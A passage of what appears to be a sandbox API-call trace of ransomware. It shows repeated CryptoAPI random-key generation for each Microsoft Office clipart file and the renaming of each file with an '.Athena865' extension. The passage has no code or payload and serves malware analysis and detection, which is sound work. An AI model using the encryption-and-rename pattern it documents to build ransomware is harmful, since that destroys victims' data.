dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5756) returned 1 [0133.312] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.312] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.312] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.314] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.315] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.315] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.316] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE05869_.WMF" | out: lpString1="PE05869_.WMF") returned="PE05869_.WMF" [0133.316] lstrlenW (lpString="PE05869_.WMF") returned 12 [0133.316] lstrlenW (lpString="Athena865") returned 9 [0133.316] lstrcmpiW (lpString1="5869_.WMF", lpString2="Athena865") returned -1 [0133.316] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.Athena865") returned 73 [0133.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.319] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1544) returned 1 [0133.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.321] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.321] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.324] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.324] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.324] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.325] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE05870_.WMF" | out: lpString1="PE05870_.WMF") returned="PE05870_.WMF" [0133.325] lstrlenW (lpString="PE05870_.WMF") returned 12 [0133.325] lstrlenW (lpString="Athena865") returned 9 [0133.325] lstrcmpiW (lpString1="5870_.WMF", lpString2="Athena865") returned -1 [0133.325] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.Athena865") returned 73 [0133.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.326] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1588) returned 1 [0133.326] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.327] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.327] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.329] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.330] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.330] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.330] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE05930_.WMF" | out: lpString1="PE05930_.WMF") returned="PE05930_.WMF" [0133.330] lstrlenW (lpString="PE05930_.WMF") returned 12 [0133.330] lstrlenW (lpString="Athena865") returned 9 [0133.330] lstrcmpiW (lpString1="5930_.WMF", lpString2="Athena865") returned -1 [0133.330] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.Athena865") returned 73 [0133.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.332] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32718) returned 1 [0133.332] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.332] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.332] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.335] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.336] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.336] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.337] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE06049_.WMF" | out: lpString1="PE06049_.WMF") returned="PE06049_.WMF" [0133.337] lstrlenW (lpString="PE06049_.WMF") returned 12 [0133.337] lstrlenW (lpString="Athena865") returned 9 [0133.337] lstrcmpiW (lpString1="6049_.WMF", lpString2="Athena865") returned -1 [0133.337] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.Athena865") returned 73 [0133.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.338] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4636) returned 1 [0133.339] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.339] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.339] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.341] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.342] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.342] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.343] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE06450_.WMF" | out: lpString1="PE06450_.WMF") returned="PE06450_.WMF" [0133.343] lstrlenW (lpString="PE06450_.WMF") returned 12 [0133.343] lstrlenW (lpString="Athena865") returned 9 [0133.343] lstrcmpiW (lpString1="6450_.WMF", lpString2="Athena865") returned -1 [0133.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.Athena865") returned 73 [0133.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.344] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16456) returned 1 [0133.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.345] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.345] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.348] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.348] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.348] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.349] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH00601G.GIF" | out: lpString1="PH00601G.GIF") returned="PH00601G.GIF" [0133.349] lstrlenW (lpString="PH00601G.GIF") returned 12 [0133.349] lstrlenW (lpString="Athena865") returned 9 [0133.349] lstrcmpiW (lpString1="0601G.GIF", lpString2="Athena865") returned -1 [0133.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.Athena865") returned 73 [0133.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.athena865"), dwFlags=0x1) returned 1 [0133.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.352] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1577) returned 1 [0133.352] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.353] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.353] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.355] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.355] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.355] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.356] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH00780U.BMP" | out: lpString1="PH00780U.BMP") returned="PH00780U.BMP" [0133.356] lstrlenW (lpString="PH00780U.BMP") returned 12 [0133.356] lstrlenW (lpString="Athena865") returned 9 [0133.356] lstrcmpiW (lpString1="0780U.BMP", lpString2="Athena865") returned -1 [0133.356] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.Athena865") returned 73 [0133.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34344) returned 1 [0133.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.358] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.358] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.361] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.362] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.362] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.363] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01035U.BMP" | out: lpString1="PH01035U.BMP") returned="PH01035U.BMP" [0133.363] lstrlenW (lpString="PH01035U.BMP") returned 12 [0133.363] lstrlenW (lpString="Athena865") returned 9 [0133.363] lstrcmpiW (lpString1="1035U.BMP", lpString2="Athena865") returned -1 [0133.363] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.Athena865") returned 73 [0133.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.367] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32400) returned 1 [0133.367] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.367] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.367] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.370] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.371] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.371] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.372] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01046J.JPG" | out: lpString1="PH01046J.JPG") returned="PH01046J.JPG" [0133.372] lstrlenW (lpString="PH01046J.JPG") returned 12 [0133.372] lstrlenW (lpString="Athena865") returned 9 [0133.372] lstrcmpiW (lpString1="1046J.JPG", lpString2="Athena865") returned -1 [0133.372] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.Athena865") returned 73 [0133.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=135611) returned 1 [0133.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.375] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.375] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.381] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.382] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.382] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.384] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01179J.JPG" | out: lpString1="PH01179J.JPG") returned="PH01179J.JPG" [0133.384] lstrlenW (lpString="PH01179J.JPG") returned 12 [0133.384] lstrlenW (lpString="Athena865") returned 9 [0133.384] lstrcmpiW (lpString1="1179J.JPG", lpString2="Athena865") returned -1 [0133.384] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.Athena865") returned 73 [0133.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.386] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41474) returned 1 [0133.386] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.386] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.387] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.390] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.391] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.391] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.392] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01213K.JPG" | out: lpString1="PH01213K.JPG") returned="PH01213K.JPG" [0133.392] lstrlenW (lpString="PH01213K.JPG") returned 12 [0133.392] lstrlenW (lpString="Athena865") returned 9 [0133.392] lstrcmpiW (lpString1="1213K.JPG", lpString2="Athena865") returned -1 [0133.392] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.Athena865") returned 73 [0133.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.athena865"), dwFlags=0x1) returned 1 [0133.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.393] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6334) returned 1 [0133.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.394] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.394] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.396] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.397] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.397] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.398] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH01221K.JPG" | out: lpString1="PH01221K.JPG") returned="PH01221K.JPG" [0133.398] lstrlenW (lpString="PH01221K.JPG") returned 12 [0133.398] lstrlenW (lpString="Athena865") returned 9 [0133.398] lstrcmpiW (lpString1="1221K.JPG", lpString2="Athena865") returned -1 [0133.398] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.Athena865") returned 73 [0133.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.athena865"), dwFlags=0x1) returned 1 [0133.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.399] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7316) returned 1 [0133.399] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.400] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.400] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.402] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, 